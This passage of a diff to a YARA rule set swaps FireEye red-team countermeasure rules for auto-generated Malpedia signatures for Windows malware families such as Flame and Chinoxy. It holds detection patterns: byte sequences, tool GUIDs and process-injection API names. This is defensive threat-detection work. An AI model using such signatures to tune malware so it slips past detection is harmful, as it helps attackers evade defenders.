 }
-rule FIREEYE_RT_APT_Builder_Win64_MATRYOSHKA_1 : FILE
+rule MALPEDIA_Win_Mimic_Auto : FILE
 {
 	meta:
-		description = "matryoshka_pe_to_shellcode.rs"
-		author = "FireEye"
-		id = "0afcf13e-5cd3-5c1c-897e-b6d0c283ab0f"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Builder_Win64_MATRYOSHKA_1.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "8d949c34def898f0f32544e43117c057"
-		logic_hash = "b370d7dea44bccc92fc8dbd4ea0ee9bec523820108bf8bc67acb17ebf9835f74"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "868573b4-62fd-5cb9-b5b2-294037fc58d9"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimic"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mimic_auto.yar#L1-L131"
+		license_url = "N/A"
+		logic_hash = "254f11d4299c867206c2f429f422756a353d8d6c35de138faa70cb17074bdf11"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sb1 = { 4D 5A 45 52 [0-32] E8 [0-32] 00 00 00 00 [0-32] 5B 48 83 EB 09 53 48 81 [0-32] C3 [0-32] FF D3 [0-32] C3 }
-		$ss1 = "\x00Stub Size: "
-		$ss2 = "\x00Executable Size: "
-		$ss3 = "\x00[+] Writing out to file"
+		$sequence_0 = { 7f4a 7c05 3945e0 7343 8b55dc 83fa08 0f82b4000000 }
+		$sequence_1 = { 81fe2c010000 7f1d 68e8030000 ffd7 ffd3 85c0 74dd }
+		$sequence_2 = { 837db810 51 0f4345a4 8d4d84 03c2 50 e8???????? }
+		$sequence_3 = { a3???????? 8b8548feffff 894804 8d8d30feffff e8???????? 6a20 ffb530feffff }
+		$sequence_4 = { 0f43c2 0f43da 8d0470 8db5ccfdffff 8bc8 0f43f2 33ff }
+		$sequence_5 = { 42 41 3bd6 7cf4 3bd6 751f 6a61 }
+		$sequence_6 = { c745fc02000000 a801 743a 83e0fe 894584 83ff08 }
+		$sequence_7 = { 50 ffd6 68???????? c645fc40 e8???????? }
+		$sequence_8 = { 8d8d18ffffff e9???????? 8d4dc0 e9???????? 8d4dd8 e9???????? 8b542408 }
+		$sequence_9 = { 8b483c 898424e4000000 89ac24e0000000 894c2438 0f1f4000 0f1f840000000000 8bb424fc010000 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		7 of them and filesize <4204544
 }
-rule FIREEYE_RT_APT_Builder_PY_MATRYOSHKA_1
+rule MALPEDIA_Win_Yorekey_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "0135f3bb-28b3-5fc4-85a2-b12c46c8bc45"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Builder_PY_MATRYOSHKA_1.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "25a97f6dba87ef9906a62c1a305ee1dd"
-		logic_hash = "71b26f4b319429ac356b55d22bccd1da85894d61f8c96452422de78d2d893420"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "0c2854a9-311b-528a-8d3c-9008975025f5"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yorekey"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yorekey_auto.yar#L1-L165"
+		license_url = "N/A"
+		logic_hash = "bfaa0e3abe9f69e663c8e7749df7b846bcbaa395b01b91bd4c5c56f646e51121"
 		score = 75
-		quality = 25
-		tags = ""
-		rev = 1
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s1 = ".pop(0)])"
-		$s2 = "[1].replace('unsigned char buf[] = \"'"
-		$s3 = "binascii.hexlify(f.read()).decode("
-		$s4 = "os.system(\"cargo build {0} --bin {1}\".format("
-		$s5 = "shutil.which('rustc')"
-		$s6 = "~/.cargo/bin"
-		$s7 = /[\x22\x27]\\\\x[\x22\x27]\.join\(\[\w{1,64}\[\w{1,64}:\w{1,64}[\x09\x20]{0,32}\+[\x09\x20]{0,32}2\]/
+		$sequence_0 = { 750a 85c0 7506 ff15???????? }
+		$sequence_1 = { 4883ec20 33ff 488d1dc9fa0000 488b0b ff15???????? }
+		$sequence_2 = { 33c9 ff15???????? 488bd8 ff15???????? 3db7000000 7509 }
+		$sequence_3 = { 8bc6 83f801 7521 a1???????? 50 ff15???????? 68???????? }
+		$sequence_4 = { 03048de0404100 eb02 8bc2 f6402480 0f8571ffffff 33f6 3bfe }
+		$sequence_5 = { 4803d1 488d0d02090100 442bc6 488b0cc1 498b0c0c ff15???????? 85c0 }
+		$sequence_6 = { 7530 a1???????? ba???????? 50 e9???????? a1???????? }
+		$sequence_7 = { 488bce e8???????? 488d154c040100 4c63c8 418d4902 }
+		$sequence_8 = { 730d 488bd3 488bcf e8???????? eb1c }
+		$sequence_9 = { 751b 6a02 33c9 51 }
+		$sequence_10 = { 7405 6641894d00 4885f6 7457 483bf7 7252 4d85ff }
+		$sequence_11 = { 898570ffffff 89856cffffff 8d4598 b919000000 }
+		$sequence_12 = { ff15???????? 488d44243c 448d4f04 4889442428 4c8d05cbfaffff }
+		$sequence_13 = { 5a 8985c4fbffff 3bc2 0f8451ffffff 83f807 0f87110a0000 ff2485b19b4000 }
+		$sequence_14 = { 55 8bec 51 8bc2 56 8d7002 8d9b00000000 }
 
 	condition:
-		all of them
+		7 of them and filesize <274432
 }
-rule FIREEYE_RT_APT_Loader_Win_MATRYOSHKA_1 : FILE
+rule MALPEDIA_Win_Flame_Auto : FILE
 {
 	meta:
-		description = "matryoshka_process_hollow.rs"
-		author = "FireEye"
-		id = "c07fb67e-ded5-593d-b5dc-d0e2c3b5a352"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win_MATRYOSHKA_1.yar#L4-L24"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "44887551a47ae272d7873a354d24042d"
-		logic_hash = "8f762684ffd3984630bf41ededa78b8993b53b22591a59912cabfe635775de53"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "f06c53ca-bcca-52e9-9b77-6f299afc1e85"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flame"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flame_auto.yar#L1-L154"
+		license_url = "N/A"
+		logic_hash = "6d731bccc4a2ab5daf3cc3b64a3620582f6b712bc70665127cfafd95a28c1921"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s1 = "ZwQueryInformationProcess" fullword
-		$s2 = "WriteProcessMemory" fullword
-		$s3 = "CreateProcessW" fullword
-		$s4 = "WriteProcessMemory" fullword
-		$s5 = "\x00Invalid NT Signature!\x00"
-		$s6 = "\x00Error while creating and mapping section. NTStatus: "
-		$s7 = "\x00Error no process information - NTSTATUS:"
-		$s8 = "\x00Error while erasing pe header. NTStatus: "
+		$sequence_0 = { 741a 83f901 7415 e8???????? }
+		$sequence_1 = { 8b8ea4000000 48b8abaaaaaaaaaaaaaa 4c8bc5 48f7e1 }
+		$sequence_2 = { a3???????? 85c0 0f84c8fcffff 68???????? ff35???????? e8???????? }
+		$sequence_3 = { 744c 8b7518 ff75f8 8bce e8???????? 8b06 }
+		$sequence_4 = { 8b8ea0000000 48c1ea03 4803cd ff15???????? }
+		$sequence_5 = { ffd7 90 eb00 4883c430 5f 5e }
+		$sequence_6 = { 8b8ea0000000 4803cd ff15???????? 84c0 }
+		$sequence_7 = { 58 5e 5d c3 c701???????? c3 }
+		$sequence_8 = { 8b400c 83c006 50 ff15???????? 33db }
+		$sequence_9 = { 8365fc00 e9???????? b8???????? e8???????? }
+		$sequence_10 = { 7422 663b3b 0f94c0 84c0 }
+		$sequence_11 = { ff15???????? 85c0 742e 56 8b35???????? 8d4514 }
+		$sequence_12 = { 8b90b0000000 4903d3 eb64 448bc0 }
+		$sequence_13 = { 8b8c2490000000 8bc3 4823c8 8b348e eb27 f6c240 0f8539020000 }
+		$sequence_14 = { ff15???????? 834dfcff 8d4de0 e8???????? b001 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		7 of them and filesize <1676288
 }
-rule FIREEYE_RT_APT_Loader_Win64_MATRYOSHKA_2 : FILE
+rule MALPEDIA_Win_Unidentified_087_Auto : FILE
 {
 	meta:
-		description = "matryoshka.rs"
-		author = "FireEye"
-		id = "25f916bc-6ee1-5175-903c-4266b0a086e1"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win64_MATRYOSHKA_2.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "7f8102b789303b7861a03290c79feba0"
-		logic_hash = "daa6f6d526bf959c268b2c5a4cae33307cfec5e9ca51283131bbfa66a582b505"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "40b9cd18-d110-5435-969b-5dfac9c340c4"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_087"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_087_auto.yar#L1-L174"
+		license_url = "N/A"
+		logic_hash = "110739d44f9e53e4e50b40a1961bcb5043ade07265d58318b1d26ddc3eb75b3c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sb1 = { 4D [2] 00 49 [2] 08 B? 02 00 00 00 31 ?? E8 [4] 48 89 ?? 48 89 ?? 4C 89 ?? 49 89 ?? E8 [4] 4C 89 ?? 48 89 ?? E8 [4] 83 [2] 01 0F 84 [4] 48 89 ?? 48 8B [2] 48 8B [2] 48 89 [5] 48 89 [5] 48 89 [5] 41 B? [4] 4C 89 ?? 31 ?? E8 [4] C7 45 [5] 48 89 ?? 4C 89 ?? E8 [4] 85 C0 }
-		$sb2 = { 4C [2] 0F 83 [4] 41 0F [3] 01 41 32 [2] 00 48 8B [5] 48 3B [5] 75 ?? 41 B? 01 00 00 00 4C 89 ?? E8 [4] E9 }
-		$si1 = "CreateToolhelp32Snapshot" fullword
-		$si2 = "Process32Next" fullword
+		$sequence_0 = { c7453802000000 ff15???????? 83f801 7409 83f80d 0f8581000000 }
+		$sequence_1 = { 4c8d9c2480020000 498b5b28 498b7330 498be3 415c }
+		$sequence_2 = { 4d8bcf 4533c0 488d542428 488d4c2450 e8???????? 488d5580 488d4c2450 }
+		$sequence_3 = { 895c2420 48895908 4c8bf1 488948c8 }
+		$sequence_4 = { 40b601 488bcb ff15???????? 400fb6c6 }
+		$sequence_5 = { ff15???????? 483905???????? 752b 8b442460 3905???????? 751f }
+		$sequence_6 = { eb09 488b05???????? 33d2 8d3c10 488b4c2450 48634104 f644046006 }
+		$sequence_7 = { 488d68a1 4881ece0000000 48c745c7feffffff 48895810 48897818 488b05???????? 4833c4 }
+		$sequence_8 = { c6864b01000043 c7466870040210 6a0d e8???????? 59 8365fc00 ff7668 }
+		$sequence_9 = { 89430c 8d4310 8d89a4080210 5a 668b31 }
+		$sequence_10 = { 6a10 57 ff15???????? 6a00 6a00 6a00 8d8584feffff }
+		$sequence_11 = { c745e40f000000 895de0 885dd0 8d45d0 50 }
+		$sequence_12 = { ff15???????? 50 8dbdf8feffff e8???????? 83c404 5f }
+		$sequence_13 = { c705????????25ca0010 8935???????? a3???????? ff15???????? a3???????? 83f8ff }
+		$sequence_14 = { 7461 8d0cbd602c0210 8901 8305????????20 8b11 }
+		$sequence_15 = { 85c9 7410 8b14b8 8911 8b0d???????? }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		7 of them and filesize <462848
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSACK_1 : FILE
+rule MALPEDIA_Win_Chinoxy_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsack' project."
-		author = "FireEye"
-		id = "8e344acb-73c4-5509-be9d-85cf6fe94445"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSACK/production/yara/APT_HackTool_MSIL_SHARPSACK_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "ecc3250e65e34595b4b827add3eb3062edad6a3373930048bfd6225d4a229e93"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "916e0861-f860-58c8-9808-fcfac5c4f41d"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinoxy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chinoxy_auto.yar#L1-L133"
+		license_url = "N/A"
+		logic_hash = "eeb7ce09274161abdb807fd23b8c72ae21763a7e3cd9b91cd84dd2d99cf4e640"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		rev = 2
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "1946808a-1a01-40c5-947b-8b4c3377f742" ascii nocase wide
+		$sequence_0 = { 8d4704 50 ff15???????? 8d8e90200000 c744241800000000 e8???????? 85c0 }
+		$sequence_1 = { 8d842424010000 50 e8???????? 8b9318040000 8d8c2428010000 51 52 }
+		$sequence_2 = { 2bcd c1e013 c1ef0d 0bc7 03ee 33c1 8bf8 }
+		$sequence_3 = { 897e18 8b4c2410 895e10 895e14 8bc6 5f 5e }
+		$sequence_4 = { e8???????? 85c0 741f 668b4c242c 6a08 66894802 50 }
+		$sequence_5 = { 8b8ef0000000 8d86e8000000 3bc8 c744241c00000000 7405 394004 7538 }
+		$sequence_6 = { 8d4c2410 6689542414 66895c2424 6689542430 66895c2438 66895c245c }
+		$sequence_7 = { 8d8ec8020000 e8???????? 8d86d4020000 8b4c240c 894004 894008 c700???????? }
+		$sequence_8 = { 894b10 03f2 8bd1 8bf8 c1e902 f3a5 8bca }
+		$sequence_9 = { 17 08cb 8291975b9c2acc 8f81509c02d5 96 9e 664e }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <1138688
 }
-rule FIREEYE_RT_Hacktool_MSIL_Keefarce_1 : FILE
+rule MALPEDIA_Win_Darktequila_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeeFarce' project."
-		author = "FireEye"
-		id = "c17add0c-e09f-5ced-a4e1-bf60afad4725"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/KEEFARCE/production/yara/HackTool_MSIL_KeeFarce_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "8db86230849137608880dbe448737fc70068d308772e294cc69301b18ae10908"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "24336c6c-1ca4-5e88-a6d8-a7828b6362d5"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darktequila_auto.yar#L1-L116"
+		license_url = "N/A"
+		logic_hash = "cfa088d1d1871ddb38182a8cfb5b3421267e6793e63357e090f59bf6001f73cc"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "17589ea6-fcc9-44bb-92ad-d5b3eea6af03" ascii nocase wide
+		$sequence_0 = { c3 85c9 7414 8b5b10 85c0 }
+		$sequence_1 = { 85c0 740d 894610 b801000000 897e04 }
+		$sequence_2 = { 8b45fc 50 ff15???????? 8b0d???????? 8b5508 }
+		$sequence_3 = { e8???????? 83c410 897b08 5f }
+		$sequence_4 = { 8bd3 e8???????? 8b4310 56 }
+		$sequence_5 = { 740d 894610 b801000000 897e04 5b }
+		$sequence_6 = { 72dc b8???????? c3 33d2 3915???????? 0f857c000000 }
+		$sequence_7 = { 8945f8 85c0 7467 8b4b0c 8b5310 894df4 }
+		$sequence_8 = { 83c410 897b08 5f b801000000 5e }
+		$sequence_9 = { c705????????02000000 8b45fc 50 ff15???????? 8b0d???????? 8b5508 a1???????? }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <1827840
 }
-/*
- * YARA Rule Set
- * Repository Name: GCTI
- * Repository: https://github.com/chronicle/GCTI
- * Retrieval Date: 2024-08-04
- * Git Commit: 1c5fd42b1895098527fde00c2d9757edf6b303bb
- * Number of Rules: 90
- * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- *
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2022 Google
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
+rule MALPEDIA_Win_Wonknu_Auto : FILE
+{
+	meta:
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "ddaff543-6be8-5c88-9c2c-3d8f03caff26"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wonknu"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wonknu_auto.yar#L1-L111"
+		license_url = "N/A"
